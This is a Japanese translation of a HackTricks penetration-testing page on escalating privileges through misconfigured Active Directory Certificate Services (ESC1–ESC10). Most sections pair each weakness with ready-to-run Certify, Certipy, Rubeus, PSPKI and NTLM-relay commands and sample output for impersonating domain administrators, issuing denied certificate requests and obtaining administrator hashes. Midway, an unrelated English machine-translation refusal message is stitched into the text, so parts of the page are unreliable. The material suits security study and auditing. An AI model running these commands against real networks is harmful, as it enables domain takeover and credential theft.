hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

AD CS ドメインエスカレーション

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください！

HackTricksをサポートする他の方法:

• HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください！
• 公式PEASS & HackTricksグッズを入手する
• The PEASS Familyを発見し、独占的なNFTsのコレクションをご覧ください
• 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
• HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。

誤設定された証明書テンプレート - ESC1

説明

• Enterprise CA は 低権限ユーザーに登録権限を付与します
• 管理者の承認が無効になっています
• 承認された署名が必要ありません
• 過度に許可的な 証明書テンプレート セキュリティ記述子は、低権限ユーザーに証明書登録権を付与します
• 証明書テンプレートは、認証を可能にするEKUを定義しています:
• クライアント認証 (OID 1.3.6.1.5.5.7.3.2)、PKINITクライアント認証 (1.3.6.1.5.2.3.4)、スマートカードログオン (OID 1.3.6.1.4.1.311.20.2.2)、任意の目的 (OID 2.5.29.37.0)、またはEKUなし (SubCA)。
• 証明書テンプレートは、CSR内で申請者がsubjectAltNameを指定することを許可します:
• AD は、subjectAltName (SAN) フィールドに 存在する場合、証明書の SAN によって指定されたアイデンティティを 使用します。したがって、申請者がCSRでSANを指定できる場合、申請者は 任意のユーザーとして証明書を要求できます（例えば、ドメイン管理者ユーザー）。証明書テンプレートのADオブジェクトは、その mspki-certificate-name-flag プロパティで、申請者が SANを指定できるかどうかを指定します。mspki-certificate-name-flag プロパティは ビットマスクであり、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグが 存在する場合、申請者はSANを指定できます。

{% hint style="danger" %} これらの設定により、低権限ユーザーが任意のSANを持つ証明書を要求できるようになり、低権限ユーザーがKerberosまたはSChannelを介してドメイン内の任意のプリンシパルとして認証できるようになります。 {% endhint %}

たとえば、製品や展開サービスがHTTPS証明書やホスト証明書をその場で生成できるようにするため、または知識不足のために、このオプションが有効になっていることがよくあります。

この最後のオプションを持つ証明書が作成されると警告が表示されますが、この設定を持つ証明書テンプレートが複製された場合（WebServer テンプレートのように CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT が有効になっていて、その後管理者が認証OIDを追加する場合）は表示されません。

悪用

脆弱な証明書テンプレートを見つけるには、次のコマンドを実行します:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

この脆弱性を悪用して管理者を偽装するには、以下を実行します：

Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

生成された証明書を .pfx 形式に変換し、再度 Rubeus や certipy を使用して認証することができます：

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windowsのバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成するために悪用される可能性があります：https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

さらに、以下のLDAPクエリをADフォレストの構成スキーマに対して実行することで、承認/署名を必要としない、クライアント認証またはスマートカードログオンEKUを持ち、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグが有効になっている証明書テンプレートを列挙することができます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

誤設定された証明書テンプレート - ESC2

説明

第二の悪用シナリオは、最初のものの変形です：

1. エンタープライズCAが低権限ユーザーに登録権限を付与します。
2. マネージャーの承認が無効になっています。
3. 承認された署名が必要ありません。
4. 過度に許可的な証明書テンプレートのセキュリティ記述子が低権限ユーザーに証明書の登録権限を付与します。
5. 証明書テンプレートがAny Purpose EKUまたはEUKを定義していません。

Any Purpose EKU は攻撃者がクライアント認証、サーバー認証、コード署名など、任意の目的のための証明書を取得することを可能にします。これを悪用するためには、ESC3と同じ技術が使用できます。

EUKがない証明書 —— 従属CA証明書 —— も任意の目的で悪用できますが、新しい証明書に署名するためにも使用できます。そのため、従属CA証明書を使用して、攻撃者は新しい証明書に任意のEUKやフィールドを指定できます。

しかし、従属CAが NTAuthCertificates オブジェクトによって信頼されていない場合（デフォルトでは信頼されていません）、攻撃者はドメイン認証に使用できる新しい証明書を作成できません。それでも、攻撃者は任意のEUKと任意の証明書値を持つ新しい証明書を作成できます。これには、コード署名、サーバー認証など、攻撃者が潜在的に悪用できるものがたくさんあります。また、SAML、AD FS、IPSecなど、ネットワーク内の他のアプリケーションに大きな影響を与える可能性があります。

以下のLDAPクエリをADフォレストの構成スキーマに対して実行すると、このシナリオに該当するテンプレートを列挙することができます：

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

誤設定された登録エージェントテンプレート - ESC3

説明

このシナリオは最初と二番目のものに似ていますが、異なる EKU（証明書リクエストエージェント）を悪用し、2つの異なるテンプレートを使用します（したがって、2つの要件セットがあります）。

証明書リクエストエージェント EKU（OID 1.3.6.1.4.1.311.20.2.1）、Microsoft のドキュメントでは登録エージェントとして知られているものは、ある主体が他のユーザーを代表して証明書の登録を行うことを可能にします。

「登録エージェント」はそのようなテンプレートに登録し、結果として得られた証明書を使用して他のユーザーを代表して CSR に共同署名します。それから、共同署名された CSRを CA に送信し、「代わりに登録する」を許可するテンプレートに登録します。そして CA は**「他の」ユーザーに属する証明書**で応答します。

要件 1:

1. エンタープライズ CA は低権限ユーザーの登録権限を許可します。
2. マネージャーの承認が無効です。
3. 承認された署名は必要ありません。
4. 過度に許可的な証明書テンプレートのセキュリティ記述子が低権限ユーザーに証明書登録権を許可します。
5. 証明書テンプレートは証明書リクエストエージェント EKU を定義します。証明書リクエストエージェント OID (1.3.6.1.4.1.311.20.2.1) は他の主体を代表して他の証明書テンプレートをリクエストすることを許可します。

要件 2:

1. エンタープライズ CA は低権限ユーザーの登録権限を許可します。
2. マネージャーの承認が無効です。
3. テンプレートスキーマバージョンが 1 または 2 より大きく、証明書リクエストエージェント EKU を必要とするアプリケーションポリシー発行要件を指定しています。
4. 証明書テンプレートはドメイン認証を可能にする EKU を定義します。
5. CA に登録エージェントの制限が実装されていません。

悪用

このシナリオを悪用するには、Certify または Certipy を使用できます：

# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

エンタープライズCAは、certsrc.msc snap-in -> CAを右クリック -> Propertiesをクリック -> "Enrollment Agents"タブに移動することで、登録エージェント証明書を取得できるユーザー、登録エージェントが登録できるテンプレート、および登録エージェントが代理で行動できるアカウントを制限できます。

しかし、デフォルトのCA設定は「登録エージェントを制限しない」です。管理者が「登録エージェントを制限する」を有効にしても、デフォルト設定は非常に許容的で、誰でもすべてのテンプレートに登録できるEveryoneアクセスを許可します。

脆弱な証明書テンプレートアクセスコントロール - ESC4

説明

証明書テンプレートには、ADのプリンシパルがテンプレートに対して特定の権限を持つことを指定するセキュリティ記述子があります。

攻撃者がテンプレートを変更し、前のセクションで説明された利用可能な誤設定のいずれかを作成するのに十分な権限を持っている場合、それを悪用して権限を昇格させることができます。

証明書テンプレートに対する興味深い権限：

• Owner: オブジェクトの暗黙の完全制御、任意のプロパティを編集可能。
• FullControl: オブジェクトの完全制御、任意のプロパティを編集可能。
• WriteOwner: 所有者を攻撃者が制御するプリンシパルに変更可能。
• WriteDacl: アクセス制御を変更して攻撃者にFullControlを付与可能。
• WriteProperty: 任意のプロパティを編集可能。

悪用

前述のようなprivescの例：

ESC4は、ユーザーが証明書テンプレートに対する書き込み権限を持っている場合です。これは、例えば、証明書テンプレートの設定を上書きして、ESC1に対して脆弱にするために悪用される可能性があります。

上記のパスでわかるように、JOHNPCだけがこれらの権限を持っていますが、私たちのユーザーJOHNはJOHNPCに対して新しいAddKeyCredentialLinkエッジを持っています。この技術は証明書に関連しているため、Shadow Credentialsとして知られるこの攻撃も実装しました。こちらはCertipyのshadow autoコマンドを使用して被害者のNTハッシュを取得する小さなプレビューです。

Certipyは単一のコマンドで証明書テンプレートの設定を上書きできます。デフォルトでは、CertipyはESC1に対して脆弱にするために設定を上書きします。また、攻撃後に設定を復元するのに便利な**-save-oldパラメータを指定して、古い設定を保存することもできます。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

脆弱なPKIオブジェクトアクセスコントロール - ESC5

説明

AD CSのセキュリティに影響を与える可能性のあるACLベースの関係の網は広範囲にわたります。証明書テンプレートや証明書機関自体以外のいくつかのオブジェクトがAD CSシステム全体のセキュリティに影響を与える可能性があります。これらの可能性には以下が含まれますが、これに限定されません：

• CAサーバーのADコンピューターオブジェクト（例：S4U2SelfやS4U2Proxyを通じた侵害）
• CAサーバーのRPC/DCOMサーバー
• コンテナCN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>内の任意の子孫ADオブジェクトやコンテナ（例：証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、登録サービスコンテナなど）

権限の低い攻撃者がこれらのいずれかを制御できるようになると、攻撃者はおそらくPKIシステムを侵害することができます。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

説明

CQure Academyの投稿で説明されているように、EDITF_ATTRIBUTESUBJECTALTNAME2フラグに関連する別の類似の問題があります。Microsoftが説明するように、「このフラグがCAに設定されている場合、任意のリクエスト（Active Directory®からサブジェクトが構築される場合も含む）は、サブジェクト代替名にユーザー定義の値を含むことができます。」
これは、攻撃者がドメイン認証用に設定された任意のテンプレートに登録し、権限のないユーザーが登録できるように設定されている（例：デフォルトのユーザーテンプレート）場合、ドメイン管理者（または他のアクティブなユーザー/マシン）として認証を許可する証明書を取得できることを意味します。

注: ここでの代替名は、certreq.exeへの-attrib "SAN:"引数を介してCSRに含まれています（つまり、「名前値ペア」）。これはESC1でのSANの悪用の方法とは異なり、証明書の属性にアカウント情報を格納するのに対し、証明書の拡張機能に格納するわけではありません。

悪用

組織は以下のcertutil.exeコマンドを使用して、設定が有効かどうかを確認できます：

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

以下のコマンドも同様に機能する可能性があります。これは単にリモート レジストリを使用しているだけです。

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify と Certipy もこれをチェックし、この誤設定を悪用するために使用できます：

# Check for vulns, including this one
Certify.exe find

# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

これらの設定は、ドメイン管理者（または同等の）権限を持っていれば、任意のシステムから設定することができます：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

環境でこの設定を見つけた場合、以下の方法でこのフラグを削除できます：

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

{% hint style="warning" %} 2022年5月のセキュリティアップデート以降、新しい証明書にはリクエスターのobjectSidプロパティを埋め込むセキュリティ拡張機能が追加されます。ESC1では、このプロパティは指定されたSANから反映されますが、ESC6では、このプロパティはSANからではなく、リクエスターのobjectSidを反映します。
そのため、ESC6を悪用するには、環境がESC10（弱い証明書マッピング）に脆弱である必要があります。ここでは、新しいセキュリティ拡張機能よりもSANが優先されます。 {% endhint %}

脆弱な証明書機関アクセスコントロール - ESC7

攻撃 1

説明

証明書機関自体には、様々なCAアクションを保護する一連の権限があります。これらの権限は、certsrv.mscからアクセスし、CAを右クリックしてプロパティを選択し、セキュリティタブに切り替えることで確認できます：

これは、PSPKIのモジュールを使ってGet-CertificationAuthority | Get-CertificationAuthorityAclで列挙することもできます：

Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access

悪用

ManageCA 権限を持つプリンシパルが証明機関にある場合、PSPKI を使用して EDITF_ATTRIBUTESUBJECTALTNAME2 ビットをリモートで切り替え、任意のテンプレートで SAN の指定を許可することができます（ECS6）：

これは、PSPKIのEnable-PolicyModuleFlag コマンドレットを使用して、より簡単な形でも可能です。

ManageCertificates 権限は、保留中のリクエストを承認することを許可し、したがって "CA証明書マネージャー承認" 保護を迂回します。

Certify と PSPKI モジュールの組み合わせを使用して、証明書をリクエストし、承認し、ダウンロードすることができます：

# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336

攻撃 2

説明

{% hint style="warning" %} 前の攻撃では、Manage CA 権限を使用して EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効にし、ESC6 攻撃を実行しましたが、CA サービス (CertSvc) を再起動するまで効果はありません。ユーザーが Manage CA アクセス権を持っている場合、そのユーザーはサービスの再起動も許可されます。しかし、それはユーザーがサービスをリモートで再起動できるという意味ではありません。さらに、ESC6 は最新のパッチが適用された環境ではすぐには機能しない可能性があります。これは、2022年5月のセキュリティアップデートによるものです。 {% endhint %}

したがって、ここでは別の攻撃方法を紹介します。

前提条件:

• ManageCA 権限のみ
• Manage Certificates 権限（ManageCA から付与可能）
• 証明書テンプレート SubCA が有効であること（ManageCA から有効化可能）

この技術は、Manage CA および Manage Certificates アクセス権を持つユーザーが失敗した証明書リクエストを発行できるという事実に依存しています。SubCA 証明書テンプレートは ESC1 に脆弱ですが、管理者のみがテンプレートに登録できます。したがって、ユーザーは SubCA に登録することをリクエストできます - これは拒否されます - しかし、その後にマネージャーによって発行されます。

悪用

新しいオフィサーとして自分のユーザーを追加することで、自分自身に**Manage Certificates** アクセス権を付与できます。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA テンプレートは、-enable-template パラメータを使用して CAで有効にすることができます。デフォルトでは、SubCA テンプレートは有効になっています。

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

以下は、攻撃のための前提条件を満たしている場合に開始する方法についての記述です。

SubCA テンプレートに基づいた証明書のリクエストを行います。

このリクエストは拒否されますが、プライベートキーを保存し、リクエストIDをメモしておきます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Manage CA と Manage Certificates を使用して、ca コマンドと -issue-request <request ID> パラメーターを使って、失敗した証明書のリクエストを発行 することができます。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

最後に、req コマンドと -retrieve <request ID> パラメータを使用して、発行された証明書を取得できます。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

説明

{% hint style="info" %} 要約すると、環境にAD CSがインストールされていて、脆弱なWeb登録エンドポイントがあり、ドメインコンピュータの登録とクライアント認証を許可する証明書テンプレート（デフォルトの**Machineテンプレートのような）が公開されている場合、スプーラーサービスが実行されている任意のコンピュータを攻撃者が侵害する可能性があります**！ {% endhint %}

AD CSは、管理者がインストールできる追加のAD CSサーバーロールを介して、いくつかのHTTPベースの登録方法をサポートしています。これらのHTTPベースの証明書登録インターフェースはすべてNTLMリレー攻撃に対して脆弱です。NTLMリレーを使用すると、侵害されたマシン上の攻撃者は、任意のインバウンドNTLM認証ADアカウントを偽装することができます。被害者アカウントを偽装している間、攻撃者はこれらのWebインターフェースにアクセスし、UserまたはMachine証明書テンプレートに基づいてクライアント認証証明書を要求することができます。

• Web登録インターフェース（http://<caserver>/certsrv/でアクセス可能な古い見た目のASPアプリケーション）は、デフォルトではHTTPのみをサポートしており、NTLMリレー攻撃に対する保護はできません。さらに、Authorization HTTPヘッダーを介してNTLM認証のみを明示的に許可するため、Kerberosのようなより安全なプロトコルは使用できません。
• Certificate Enrollment Service（CES）、Certificate Enrollment Policy（CEP）Webサービス、およびNetwork Device Enrollment Service（NDES）は、Authorization HTTPヘッダーを介してデフォルトでネゴシエート認証をサポートしています。ネゴシエート認証はKerberosとNTLMをサポートしているため、攻撃者はリレー攻撃中にNTLM認証にダウングレードすることができます。これらのWebサービスはデフォルトでHTTPSを有効にしていますが、残念ながらHTTPS自体はNTLMリレー攻撃に対する保護にはなりません。HTTPSがチャネルバインディングと組み合わされた場合のみ、HTTPSサービスはNTLMリレー攻撃から保護されます。残念ながら、AD CSはIIS上でExtended Protection for Authenticationを有効にしていないため、チャネルバインディングを有効にすることはできません。

NTLMリレー攻撃における一般的な問題は、NTLMセッションが通常短いことと、攻撃者がNTLM署名を強制するサービスと対話できないことです。

しかし、ユーザーに対する証明書を取得するためにNTLMリレー攻撃を悪用することで、この制限を解決できます。セッションは証明書が有効である限り存続し、証明書はNTLM署名を強制するサービスを使用するために使用できます。盗まれた証明書の使用方法については、以下を確認してください：

{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}

NTLMリレー攻撃のもう一つの制限は、被害者アカウントが攻撃者が制御するマシンに認証する必要があることです。攻撃者は待つか、または強制しようとするかもしれません：

{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

悪用

****Certifyのcasコマンドは、有効なHTTP AD CSエンドポイントを列挙することができます：

Certify.exe cas

エンタープライズCAは、msPKI-Enrollment-Servers プロパティのADオブジェクトにCESエンドポイントを保存します。Certutil.exe と PSPKI はこれらのエンドポイントを解析し、リストすることができます：

certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA

Since there is no English text provided other than the image tag and caption, which do not contain any actual text to translate, I cannot provide a translation. If you have specific English text that you would like translated into Japanese, please provide it, and I will be happy to assist.

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

Certifyを悪用する

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipyを悪用する

デフォルトでは、Certipyはリレーされたアカウント名が$で終わるかどうかに応じて、MachineまたはUserテンプレートに基づいて証明書を要求します。-templateパラメータを使用して別のテンプレートを指定することができます。

その後、PetitPotamのような技術を使用して認証を強制することができます。ドメインコントローラーの場合、-template DomainControllerを指定する必要があります。

$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

セキュリティ拡張なし - ESC9

説明

ESC9は、新しい**msPKI-Enrollment-Flag** の値 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) を指します。このフラグが証明書テンプレートに設定されている場合、新しい szOID_NTDS_CA_SECURITY_EXT セキュリティ拡張は埋め込まれません。ESC9は StrongCertificateBindingEnforcement が 1 (デフォルト) に設定されている場合にのみ有用です。なぜなら、KerberosやSchannelのより弱い証明書マッピング構成がESC10として悪用される可能性があるからです — ESC9がない場合 — 要件は同じになるでしょう。

• StrongCertificateBindingEnforcement が 2 (デフォルト: 1) に設定されていない、または CertificateMappingMethods に UPN フラグが含まれている
• 証明書に msPKI-Enrollment-Flag 値の中の CT_FLAG_NO_SECURITY_EXTENSION フラグが含まれている
• 証明書が任意のクライアント認証 EKU を指定している
• アカウントAに対する GenericWrite 権限を持っていて、任意のアカウントBを侵害する

悪用

このケースでは、John@corp.local は Jane@corp.local に対する GenericWrite 権限を持っており、Administrator@corp.local を侵害したいと考えています。Jane@corp.local は msPKI-Enrollment-Flag 値に CT_FLAG_NO_SECURITY_EXTENSION フラグを指定する証明書テンプレート ESC9 に登録することが許可されています。

まず、Shadow Credentialsを使用して（GenericWrite を使用して）、Jane のハッシュを取得します。

次に、Jane の userPrincipalName を Administrator に変更します。@corp.local 部分は省略していることに注意してください。

これは制約違反ではありません。なぜなら Administrator ユーザーの userPrincipalName は Administrator@corp.local であり、Administrator ではないからです。

次に、脆弱な証明書テンプレート ESC9 を要求します。証明書は Jane として要求する必要があります。

証明書の userPrincipalName が Administrator であり、発行された証明書に「オブジェクト SID」が含まれていないことに注意してください。

その後、Jane の userPrincipalName を元の userPrincipalName である Jane@corp.local など、他のものに戻します。

今、証明書で認証を試みると、Administrator@corp.local ユーザーの NT ハッシュを受け取ります。証明書にドメインが指定されていないため、コマンドラインに -domain <domain> を追加する必要があります。

弱い証明書マッピング - ESC10

説明

ESC10はドメインコントローラー上の2つのレジストリキー値を指します。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods。デフォルト値 0x18 (0x8 | 0x10)、以前は 0x1F。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement。デフォルト値 1、以前は 0。

ケース1

StrongCertificateBindingEnforcement が 0 に設定されている

ケース2

CertificateMappingMethods に UPN ビット (0x4) が含まれている

悪用ケース1

• StrongCertificateBindingEnforcement が 0 に設定されている
• アカウントAに対する GenericWrite 権限を持っていて、任意のアカウントBを侵害する

このケースでは、John@corp.local は Jane@corp.local に対する GenericWrite 権限を持っており、Administrator@corp.local を侵害したいと考えています。悪用の手順はESC9とほぼ同じですが、任意の証明書テンプレートを使用できます。

まず、Shadow Credentialsを使用して（GenericWrite を使用して）、Jane のハッシュを取得します。

次に、Jane の userPrincipalName を Administrator に変更します。@corp.local 部分は省略していることに注意してください。

これは制約違反ではありません。なぜなら Administrator ユーザーの userPrincipalName は Administrator@corp.local であり、Administrator ではないからです。

次に、クライアント認証を許可する任意の証明書を要求します。たとえばデフォルトの User テンプレートです。証明書は Jane として要求する必要があります。

証明書の userPrincipalName が Administrator であることに注意してください。

その後、Jane の userPrincipalName を元の userPrincipalName である Jane@corp.local など、他のものに戻します。

今、証明書で認証を試みると、Administrator@corp.local ユーザーの NT ハッシュを受け取ります。証明書にドメインが指定されていないため、コマンドラインに -domain <domain> を追加する必要があります。

悪用ケース2

• CertificateMappingMethods に UPN ビットフラグ (0x4) が含まれている
• userPrincipalName プロパティを持たない任意のアカウントAに対する GenericWrite 権限を持っていて、ビルトインドメイン管理者 Administrator を含む任意のアカウントBを侵害する

このケースでは、John@corp.local は Jane@corp.local に対する GenericWrite 権限を持っており、ドメインコントローラー DC$@corp.local を侵害したいと考えています。

まず、Shadow Credentialsを使用して（GenericWrite を使用して）、Jane のハッシュを取得します。

次に、Jane の userPrincipalName を DC$@corp.local に変更します。

これは制約違反ではありません。なぜなら DC$ コンピュータアカウントには userPrincipalName がないからです。

次に、クライアント認証を許可する任意の証明書を要求します。たとえばデフォルトの User テンプレートです。証明書は Jane として要求する必要があります。

その後、Jane の userPrincipalName を元の userPrincipalName （Jane@corp.local）など、他のものに戻します。

今、このレジストリキーはSchannelに適用されるため、Schannel経由で認証に証明書を使用する必要があります。ここでCertipyの新しい -ldap-shell オプションが登場します。

証明書と -ldap-shell を使用して認証を試みると、u:CORP\DC$ として認証されていることがわかります。これはサーバーによって送信される文字列です。

LDAPシェルで利用可能なコマンドの1つは set_rbcd であり、これはターゲットにリソースベースの制約付き委任（RBCD）を設定します。したがって、ドメインコントローラーを侵害するためにRBCD攻撃を実行することができます。

または、userPrincipalName が設定されていない、または userPrincipalName がそのアカウントの sAMAccountName と一致しない任意のユーザーアカウントを侵害することもできます。私自身のテストから、デフォルトのドメイン管理者 Administrator@corp.local はデフォルトで userPrincipalName が設定されていないことがわかり、このアカウントはデフォルトでLDAPでドメインコントローラーよりも多くの権限を持っているはずです。

証明書を使用したフォレストの侵害

CAの信頼がフォレストの信頼を破る

クロスフォレスト登録の設定は比較的簡単です。管理者はリソースフォレストからのルートCA証明書をアカウントフォレストに公開し、リソースフォレストのエンタープライズCA証明書を各アカウントフォレストの**NTAuthCertificates** およびAIAコンテナに追加します。明確にするために、これはリソースフォレストのCAがPKIを管理する他のすべてのフォレストに対して完全な制御を持っていることを意味します。攻撃者がこのCAを侵害すると、リソースフォレストとアカウントフォレストのすべてのユーザーの証明書を偽造し、フォレストのセキュリティ境界を破ることができます。

登録権限を持つ外国のプリンシパル

多フォレスト環境で組織が注意する必要がある別の点は、エンタープライズCAが認証されたユーザーや外国のプリンシパル（エンタープライズCAが属するフォレスト外のユーザー/グループ）に登録および編集権限を付与する証明書テンプレートを公開することです。
アカウントが信頼を越えて認証すると、ADは認証ユーザーのトークンに認証されたユーザーSIDを追加します。したがって、テンプレートが認証されたユーザーに登録権限を付与するエンタープライズCAを持つドメインがある場合、異なるフォレストのユーザーがテンプレートに登録する可能性があります。同様に、テンプレートが外国のプリンシパルに登録権限を明示的に付与する場合、クロスフォレストのアクセス制御関係が作成され、あるフォレストのプリンシパルが別のフォレストのテンプレートに登録することを許可します。

最終的に、これらのシナリオはどちらも一つのフォレストから別のフォレストへの攻撃面を増加させます。証明書テンプレートの設定に応じて、攻撃者はこれを悪用して外国のドメインで追加の権限を得る可能性があります。

参考文献

• このページの情報はすべて https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf から取得されました

htARTE (HackTricks AWS Red Team Expert)で ゼロからヒーローまでAWS